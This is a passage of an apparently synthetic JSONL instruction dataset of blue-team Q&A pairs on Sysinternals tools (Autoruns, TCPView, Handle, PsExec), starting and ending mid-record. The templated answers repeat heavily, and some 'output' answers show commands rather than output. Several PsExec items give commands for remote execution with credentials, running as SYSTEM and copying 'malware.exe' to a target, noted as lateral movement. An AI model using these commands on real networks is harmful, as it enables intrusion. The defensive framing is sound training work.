"2025-12-18T00:11:32.021331Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021448Z", "updated_at": "2025-12-18T00:11:32.021448Z"} +{"id": "trtp-66151e645b41", "instruction": "What evidence can Autoruns help uncover?", "output": "Forensic analysis with Autoruns:\n\nAutoruns shows all programs configured to start automatically including registry keys, scheduled tasks, services, drivers, and more. Comprehensive persistence discovery tool.\n\nForensic applications:\n- Discover persistence mechanisms\n- Find malware autostart entries\n- Audit startup programs\n\nWhat to look for: Tabs = persistence locations. Yellow/Red = suspicious. VT column = VirusTotal detection ratio.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-autoruns-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021331Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021466Z", "updated_at": "2025-12-18T00:11:32.021466Z"} +{"id": "trtp-29c595ffb4df", "instruction": "What's the process for analyzing data with Autoruns?", "output": "Workflow for Autoruns Overview:\n\n1. Understand the context: Autoruns shows all programs configured to start automatically including registry keys, scheduled tasks, services, drivers, and more. Comprehensive persistence discovery tool.\n\n2. Apply the tool:\n```\n# Scan system\n# Yellow = file not found\n# Red = unsigned or bad signature\n# Options > Scan Options > Check VirusTotal\n# Options > Hide Microsoft Entries\n```\n\n3. Common scenarios: Discover persistence mechanisms, Find malware autostart entries, Audit startup programs\n\n4. Best practices:\n - Hide Microsoft entries for cleaner view\n - Check VirusTotal integration", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-autoruns-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021331Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021496Z", "updated_at": "2025-12-18T00:11:32.021496Z"} +{"id": "trtp-960a093c15fa", "instruction": "What makes Autoruns useful for this task?", "output": "Advantages of Autoruns:\n\nAutoruns shows all programs configured to start automatically including registry keys, scheduled tasks, services, drivers, and more. Comprehensive persistence discovery tool.\n\nBest suited for:\n- Discover persistence mechanisms\n- Find malware autostart entries\n- Audit startup programs\n- Identify unwanted software\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-autoruns-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021331Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021511Z", "updated_at": "2025-12-18T00:11:32.021511Z"} +{"id": "trtp-ba10024ab5d0", "instruction": "Can Autoruns be combined with other analysis methods?", "output": "Integration points for Autoruns:\n\nAutoruns shows all programs configured to start automatically including registry keys, scheduled tasks, services, drivers, and more. Comprehensive persistence discovery tool.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-autoruns-overview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021331Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021538Z", "updated_at": "2025-12-18T00:11:32.021538Z"} +{"id": "trtp-2a558a05031c", "instruction": "Explain TCPView for security professionals.", "output": "TCPView\n\nTCPView shows real-time TCP and UDP endpoint connections including local/remote addresses, ports, and owning process. Lightweight alternative to netstat with process mapping.\n\nPlatform: windows\n\nCommon uses:\n- Identify network connections\n- Find C2 communication\n- Discover listening services\n- Monitor connection changes", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-tcpview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021784Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021817Z", "updated_at": "2025-12-18T00:11:32.021817Z"} +{"id": "trtp-79388b9f53bd", "instruction": "Show me the basic syntax for TCPView.", "output": "Syntax for TCPView:\n\ntcpview64.exe\n\nTCPView shows real-time TCP and UDP endpoint connections including local/remote addresses, ports, and owning process. Lightweight alternative to netstat with process mapping.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-tcpview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021784Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021836Z", "updated_at": "2025-12-18T00:11:32.021836Z"} +{"id": "trtp-8e20cc84a40f", "instruction": "How would I use TCPView for Identify network connections?", "output": "Example of TCPView:\n\n```\n# Color coding:\n# Green = new connection\n# Red = closing connection\n# Yellow = state change\n# Right-click: Close Connection, Process Properties\n```\n\nInterpretation: State: ESTABLISHED=active, LISTENING=server, TIME_WAIT=closing", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-tcpview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021784Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021848Z", "updated_at": "2025-12-18T00:11:32.021848Z"} +{"id": "trtp-05265663917a", "instruction": "When should I use TCPView?", "output": "Use cases for TCPView:\n\n- Identify network connections\n- Find C2 communication\n- Discover listening services\n- Monitor connection changes\n\nTCPView shows real-time TCP and UDP endpoint connections including local/remote addresses, ports, and owning process. Lightweight alternative to netstat with process mapping.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-tcpview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021784Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021867Z", "updated_at": "2025-12-18T00:11:32.021867Z"} +{"id": "trtp-bc6d541fb0b9", "instruction": "Explain the output of TCPView.", "output": "Interpreting TCPView output:\n\nState: ESTABLISHED=active, LISTENING=server, TIME_WAIT=closing\n\nExample output:\n```\n# Color coding:\n# Green = new connection\n# Red = closing connection\n# Yellow = state change\n# Right-click: Close Connection, Process Properties\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-tcpview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021784Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021878Z", "updated_at": "2025-12-18T00:11:32.021878Z"} +{"id": "trtp-ff5da4369121", "instruction": "What are some tips for using TCPView?", "output": "Tips for using TCPView:\n\n- Watch for connections to unusual IPs\n- Check processes with many connections\n- Compare to expected network baseline\n\nUseful for: Identify network connections, Find C2 communication, Discover listening services", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-tcpview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021784Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021890Z", "updated_at": "2025-12-18T00:11:32.021890Z"} +{"id": "trtp-8c9204e75637", "instruction": "What indicators does TCPView help identify?", "output": "Using TCPView for threat detection:\n\nTCPView shows real-time TCP and UDP endpoint connections including local/remote addresses, ports, and owning process. Lightweight alternative to netstat with process mapping.\n\nExample:\n```\n# Color coding:\n# Green = new connection\n# Red = closing connection\n# Yellow = state change\n# Right-click: Close Connection, Process Properties\n```\n\nTips:\n- Watch for connections to unusual IPs\n- Check processes with many connections", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-tcpview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021784Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021913Z", "updated_at": "2025-12-18T00:11:32.021913Z"} +{"id": "trtp-b8b42abde228", "instruction": "What artifacts does TCPView analyze?", "output": "Forensic analysis with TCPView:\n\nTCPView shows real-time TCP and UDP endpoint connections including local/remote addresses, ports, and owning process. Lightweight alternative to netstat with process mapping.\n\nForensic applications:\n- Identify network connections\n- Find C2 communication\n- Discover listening services\n\nWhat to look for: State: ESTABLISHED=active, LISTENING=server, TIME_WAIT=closing", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-tcpview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021784Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021935Z", "updated_at": "2025-12-18T00:11:32.021935Z"} +{"id": "trtp-86eff5581d0f", "instruction": "What's the process for analyzing data with TCPView?", "output": "Workflow for TCPView:\n\n1. Understand the context: TCPView shows real-time TCP and UDP endpoint connections including local/remote addresses, ports, and owning process. Lightweight alternative to netstat with process mapping.\n\n2. Apply the tool:\n```\n# Color coding:\n# Green = new connection\n# Red = closing connection\n# Yellow = state change\n# Right-click: Close Connection, Process Properties\n```\n\n3. Common scenarios: Identify network connections, Find C2 communication, Discover listening services\n\n4. Best practices:\n - Watch for connections to unusual IPs\n - Check processes with many connections", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-tcpview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021784Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021949Z", "updated_at": "2025-12-18T00:11:32.021949Z"} +{"id": "trtp-303b0e1927ec", "instruction": "When should I use TCPView versus other similar tools?", "output": "Advantages of TCPView:\n\nTCPView shows real-time TCP and UDP endpoint connections including local/remote addresses, ports, and owning process. Lightweight alternative to netstat with process mapping.\n\nBest suited for:\n- Identify network connections\n- Find C2 communication\n- Discover listening services\n- Monitor connection changes\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-tcpview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021784Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021972Z", "updated_at": "2025-12-18T00:11:32.021972Z"} +{"id": "trtp-3699dd9ea819", "instruction": "How does TCPView integrate with other security tools?", "output": "Integration points for TCPView:\n\nTCPView shows real-time TCP and UDP endpoint connections including local/remote addresses, ports, and owning process. Lightweight alternative to netstat with process mapping.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-tcpview", "license": "original", "retrieved_at": "2025-12-18T00:11:32.021784Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.021986Z", "updated_at": "2025-12-18T00:11:32.021986Z"} +{"id": "trtp-31d8eda2ccfb", "instruction": "Describe Handle Utility.", "output": "Handle Utility\n\nHandle is a command-line utility that displays information about open handles for any process. Useful for finding which process has a file locked.\n\nPlatform: windows\n\nCommon uses:\n- Find file locks\n- Identify handle leaks\n- Troubleshoot access denied\n- Force close handles", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-handle-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022254Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022293Z", "updated_at": "2025-12-18T00:11:32.022293Z"} +{"id": "trtp-e072ffd7d3ff", "instruction": "Show me the basic syntax for Handle.", "output": "Syntax for Handle:\n\nhandle64.exe [[-a] [-u] | [-c [-l] [-y]] | [-s]] [-p |] [name]\n\nHandle is a command-line utility that displays information about open handles for any process. Useful for finding which process has a file locked.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-handle-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022254Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022320Z", "updated_at": "2025-12-18T00:11:32.022320Z"} +{"id": "trtp-b8c6ffa0e4db", "instruction": "Provide an example of using Handle.", "output": "Example of Handle Utility:\n\n```\n# Find process locking a file\nhandle64.exe C:\\locked_file.txt\n\n# List all handles for a process\nhandle64.exe -p explorer.exe\n\n# Close a handle (dangerous)\nhandle64.exe -c -p \n```\n\nInterpretation: Output shows PID, process name, handle type, and handle name/path", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-handle-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022254Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022339Z", "updated_at": "2025-12-18T00:11:32.022339Z"} +{"id": "trtp-250ad25b2a1c", "instruction": "When should I use Handle?", "output": "Use cases for Handle:\n\n- Find file locks\n- Identify handle leaks\n- Troubleshoot access denied\n- Force close handles\n\nHandle is a command-line utility that displays information about open handles for any process. Useful for finding which process has a file locked.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-handle-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022254Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022352Z", "updated_at": "2025-12-18T00:11:32.022352Z"} +{"id": "trtp-3d914bfad384", "instruction": "Explain the output of Handle.", "output": "Interpreting Handle output:\n\nOutput shows PID, process name, handle type, and handle name/path\n\nExample output:\n```\n# Find process locking a file\nhandle64.exe C:\\locked_file.txt\n\n# List all handles for a process\nhandle64.exe -p explorer.exe\n\n# Close a handle (dangerous)\nhandle64.exe -c -p \n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-handle-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022254Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022364Z", "updated_at": "2025-12-18T00:11:32.022364Z"} +{"id": "trtp-4f2bb7fdcad0", "instruction": "What best practices should I follow when using Handle?", "output": "Tips for using Handle:\n\n- Run as administrator for full access\n- Closing handles can crash processes\n- Use for debugging file-in-use errors\n\nUseful for: Find file locks, Identify handle leaks, Troubleshoot access denied", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-handle-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022254Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022388Z", "updated_at": "2025-12-18T00:11:32.022388Z"} +{"id": "trtp-550630c5e98b", "instruction": "What should I look for when using Handle for incident response?", "output": "Using Handle for threat detection:\n\nHandle is a command-line utility that displays information about open handles for any process. Useful for finding which process has a file locked.\n\nExample:\n```\n# Find process locking a file\nhandle64.exe C:\\locked_file.txt\n\n# List all handles for a process\nhandle64.exe -p explorer.exe\n\n# Close a handle (dangerous)\nhandle64.exe -c -p \n```\n\nTips:\n- Run as administrator for full access\n- Closing handles can crash processes", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-handle-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022254Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022400Z", "updated_at": "2025-12-18T00:11:32.022400Z"} +{"id": "trtp-0ff70ebc3146", "instruction": "What evidence can Handle help uncover?", "output": "Forensic analysis with Handle:\n\nHandle is a command-line utility that displays information about open handles for any process. Useful for finding which process has a file locked.\n\nForensic applications:\n- Find file locks\n- Identify handle leaks\n- Troubleshoot access denied\n\nWhat to look for: Output shows PID, process name, handle type, and handle name/path", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-handle-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022254Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022423Z", "updated_at": "2025-12-18T00:11:32.022423Z"} +{"id": "trtp-4458f29d07b4", "instruction": "What's the process for analyzing data with Handle?", "output": "Workflow for Handle Utility:\n\n1. Understand the context: Handle is a command-line utility that displays information about open handles for any process. Useful for finding which process has a file locked.\n\n2. Apply the tool:\n```\n# Find process locking a file\nhandle64.exe C:\\locked_file.txt\n\n# List all handles for a process\nhandle64.exe -p explorer.exe\n\n# Close a handle (dangerous)\nhandle64.exe -c -p \n```\n\n3. Common scenarios: Find file locks, Identify handle leaks, Troubleshoot access denied\n\n4. Best practices:\n - Run as administrator for full access\n - Closing handles can crash processes", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-handle-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022254Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022454Z", "updated_at": "2025-12-18T00:11:32.022454Z"} +{"id": "trtp-a975f41dc72d", "instruction": "When should I use Handle versus other similar tools?", "output": "Advantages of Handle:\n\nHandle is a command-line utility that displays information about open handles for any process. Useful for finding which process has a file locked.\n\nBest suited for:\n- Find file locks\n- Identify handle leaks\n- Troubleshoot access denied\n- Force close handles\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-handle-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022254Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022484Z", "updated_at": "2025-12-18T00:11:32.022484Z"} +{"id": "trtp-a321a874d8e1", "instruction": "Can Handle be combined with other analysis methods?", "output": "Integration points for Handle:\n\nHandle is a command-line utility that displays information about open handles for any process. Useful for finding which process has a file locked.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-handle-utility", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022254Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022500Z", "updated_at": "2025-12-18T00:11:32.022500Z"} +{"id": "trtp-7415f7968d1f", "instruction": "How do security analysts use PsExec?", "output": "PsExec\n\nPsExec enables remote command execution on Windows systems. Used legitimately for administration but commonly abused for lateral movement. Creates PSEXESVC service on target.\n\nPlatform: windows\n\nCommon uses:\n- Remote administration\n- Lateral movement (attack)\n- Run commands as SYSTEM\n- Deploy software remotely", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022782Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022812Z", "updated_at": "2025-12-18T00:11:32.022812Z"} +{"id": "trtp-ee7448ab74e5", "instruction": "Show me the basic syntax for PsExec.", "output": "Syntax for PsExec:\n\npsexec64.exe \\\\target -u user -p pass command\n\nPsExec enables remote command execution on Windows systems. Used legitimately for administration but commonly abused for lateral movement. Creates PSEXESVC service on target.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022782Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022826Z", "updated_at": "2025-12-18T00:11:32.022826Z"} +{"id": "trtp-6a95242fe4eb", "instruction": "Demonstrate PsExec with an example.", "output": "Example of PsExec:\n\n```\n# Execute command remotely\npsexec64.exe \\\\192.168.1.100 -u admin -p password cmd.exe\n\n# Run as SYSTEM\npsexec64.exe -s cmd.exe\n\n# Copy program and execute\npsexec64.exe \\\\target -c malware.exe\n```\n\nInterpretation: Creates PSEXESVC service, generates Event 7045, and network logon events", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022782Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022854Z", "updated_at": "2025-12-18T00:11:32.022854Z"} +{"id": "trtp-b9dd424b541f", "instruction": "What are the use cases for PsExec?", "output": "Use cases for PsExec:\n\n- Remote administration\n- Lateral movement (attack)\n- Run commands as SYSTEM\n- Deploy software remotely\n\nPsExec enables remote command execution on Windows systems. Used legitimately for administration but commonly abused for lateral movement. Creates PSEXESVC service on target.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022782Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022881Z", "updated_at": "2025-12-18T00:11:32.022881Z"} +{"id": "trtp-dc663341dede", "instruction": "What do the results from PsExec mean?", "output": "Interpreting PsExec output:\n\nCreates PSEXESVC service, generates Event 7045, and network logon events\n\nExample output:\n```\n# Execute command remotely\npsexec64.exe \\\\192.168.1.100 -u admin -p password cmd.exe\n\n# Run as SYSTEM\npsexec64.exe -s cmd.exe\n\n# Copy program and execute\npsexec64.exe \\\\target -c malware.exe\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022782Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022892Z", "updated_at": "2025-12-18T00:11:32.022892Z"} +{"id": "trtp-f83d33d53299", "instruction": "What best practices should I follow when using PsExec?", "output": "Tips for using PsExec:\n\n- Detection: Event 7045 with PSEXESVC\n- Commonly blocked by EDR\n- Alternative: Impacket psexec.py\n\nUseful for: Remote administration, Lateral movement (attack), Run commands as SYSTEM", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022782Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022909Z", "updated_at": "2025-12-18T00:11:32.022909Z"} +{"id": "trtp-eb187ffe79e0", "instruction": "How do I use PsExec for threat detection?", "output": "Using PsExec for threat detection:\n\nPsExec enables remote command execution on Windows systems. Used legitimately for administration but commonly abused for lateral movement. Creates PSEXESVC service on target.\n\nExample:\n```\n# Execute command remotely\npsexec64.exe \\\\192.168.1.100 -u admin -p password cmd.exe\n\n# Run as SYSTEM\npsexec64.exe -s cmd.exe\n\n# Copy program and execute\npsexec64.exe \\\\target -c malware.exe\n```\n\nTips:\n- Detection: Event 7045 with PSEXESVC\n- Commonly blocked by EDR", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022782Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022922Z", "updated_at": "2025-12-18T00:11:32.022922Z"} +{"id": "trtp-90fdbac1a6db", "instruction": "How do forensic investigators use PsExec?", "output": "Forensic analysis with PsExec:\n\nPsExec enables remote command execution on Windows systems. Used legitimately for administration but commonly abused for lateral movement. Creates PSEXESVC service on target.\n\nForensic applications:\n- Remote administration\n- Lateral movement (attack)\n- Run commands as SYSTEM\n\nWhat to look for: Creates PSEXESVC service, generates Event 7045, and network logon events", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022782Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022934Z", "updated_at": "2025-12-18T00:11:32.022934Z"} +{"id": "trtp-c197ae07febc", "instruction": "How do I incorporate PsExec into my security workflow?", "output": "Workflow for PsExec:\n\n1. Understand the context: PsExec enables remote command execution on Windows systems. Used legitimately for administration but commonly abused for lateral movement. Creates PSEXESVC service on target.\n\n2. Apply the tool:\n```\n# Execute command remotely\npsexec64.exe \\\\192.168.1.100 -u admin -p password cmd.exe\n\n# Run as SYSTEM\npsexec64.exe -s cmd.exe\n\n# Copy program and execute\npsexec64.exe \\\\target -c malware.exe\n```\n\n3. Common scenarios: Remote administration, Lateral movement (attack), Run commands as SYSTEM\n\n4. Best practices:\n - Detection: Event 7045 with PSEXESVC\n - Commonly blocked by EDR", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022782Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022957Z", "updated_at": "2025-12-18T00:11:32.022957Z"} +{"id": "trtp-266b6e39d349", "instruction": "What makes PsExec useful for this task?", "output": "Advantages of PsExec:\n\nPsExec enables remote command execution on Windows systems. Used legitimately for administration but commonly abused for lateral movement. Creates PSEXESVC service on target.\n\nBest suited for:\n- Remote administration\n- Lateral movement (attack)\n- Run commands as SYSTEM\n- Deploy software remotely\n\nThis is particularly valuable for Windows endpoint investigations.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022782Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.022984Z", "updated_at": "2025-12-18T00:11:32.022984Z"} +{"id": "trtp-635f419b2d2f", "instruction": "Can PsExec be combined with other analysis methods?", "output": "Integration points for PsExec:\n\nPsExec enables remote command execution on Windows systems. Used legitimately for administration but commonly abused for lateral movement. Creates PSEXESVC service on target.\n\nIntegration suggestions:\n- Export findings to SIEM for correlation\n- Feed indicators to threat intelligence platforms\n- Combine with memory analysis for deeper investigation\n- Use timeline data with log analysis tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-sysinternals-psexec", "license": "original", "retrieved_at": "2025-12-18T00:11:32.022782Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.023002Z", "updated_at": 